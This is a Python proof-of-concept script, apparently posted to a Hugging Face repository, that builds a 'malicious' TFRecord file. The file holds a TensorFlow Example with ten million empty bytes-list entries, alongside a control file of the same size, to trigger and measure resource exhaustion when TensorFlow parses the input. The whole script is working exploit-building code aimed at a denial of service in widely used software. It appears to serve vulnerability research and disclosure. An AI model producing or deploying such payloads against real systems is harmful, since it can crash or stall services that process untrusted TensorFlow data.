hacnho's picture
Upload build_poc.py with huggingface_hub
85d8ef3 verified
Raw
History Blame Contribute Delete
4.04 kB
#!/usr/bin/env python3
from __future__ import annotations
import json
import os
import subprocess
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"
ENTRY_COUNT = 10_000_000
TF_PYTHON = Path(os.environ.get("TF_PYTHON_BIN", sys.executable))
WORKER = r"""
import json, sys, tensorflow as tf
def malicious_payload(count: int) -> bytes:
ex = tf.train.Example()
ex.features.feature["x"].bytes_list.value.extend([b""] * count)
return ex.SerializeToString()
def control_payload(target_payload_len: int) -> bytes:
ex = tf.train.Example()
ex.features.feature["x"].bytes_list.value.append(b"A" * target_payload_len)
return ex.SerializeToString()
count = int(sys.argv[1])
target_payload_len = int(sys.argv[2])
malicious = malicious_payload(count)
control = control_payload(target_payload_len)
print(json.dumps({
"tensorflow_version": tf.__version__,
"malicious_hex": malicious.hex(),
"control_hex": control.hex(),
}))
"""
def write_record(path: Path, payload: bytes) -> None:
payload_path = path.with_suffix(path.suffix + ".payload")
payload_path.write_bytes(payload)
script = (
"import tensorflow as tf, pathlib; "
"p = pathlib.Path(r'%s'); "
"payload = pathlib.Path(r'%s').read_bytes(); "
"w = tf.io.TFRecordWriter(str(p)); "
"w.write(payload); "
"w.close()"
) % (str(path), str(payload_path))
cp = subprocess.run(
[str(TF_PYTHON), "-c", script],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=240,
check=False,
)
payload_path.unlink(missing_ok=True)
if cp.returncode != 0:
raise RuntimeError(cp.stderr[-2000:] or cp.stdout[-1000:])
def build_control_same_size(target_size: int) -> int:
low = 1
high = target_size
best = None
while low <= high:
mid = (low + high) // 2
size = mid + 44
if size == target_size:
return mid
if size < target_size:
best = mid
low = mid + 1
else:
high = mid - 1
for mid in range(max(1, (best or 1) - 128), (best or 1) + 129):
if mid + 44 == target_size:
return mid
raise RuntimeError("failed to build same-size control TFRecord")
def main() -> int:
ARTIFACTS.mkdir(parents=True, exist_ok=True)
control_value_len = build_control_same_size(20_000_039)
cp = subprocess.run(
[str(TF_PYTHON), "-c", WORKER, str(ENTRY_COUNT), str(control_value_len)],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=240,
check=False,
)
if cp.returncode != 0:
raise RuntimeError(cp.stderr[-2000:] or cp.stdout[-1000:])
payloads = json.loads(cp.stdout)
control = bytes.fromhex(payloads["control_hex"])
malicious = bytes.fromhex(payloads["malicious_hex"])
control_path = ARTIFACTS / "control_same_size.tfrecords"
malicious_path = ARTIFACTS / "malicious_example_byteslist_10000000.tfrecords"
write_record(control_path, control)
write_record(malicious_path, malicious)
manifest = {
"entry_count": ENTRY_COUNT,
"tensorflow_version": payloads["tensorflow_version"],
"tensorflow_python": str(TF_PYTHON),
"control": {
"path": str(control_path),
"size": control_path.stat().st_size,
"bytes_list_count": 1,
"first_value_len": control_value_len,
},
"malicious": {
"path": str(malicious_path),
"size": malicious_path.stat().st_size,
"bytes_list_count": ENTRY_COUNT,
"first_value_len": 0,
},
"same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
}
(ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
print(json.dumps(manifest, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())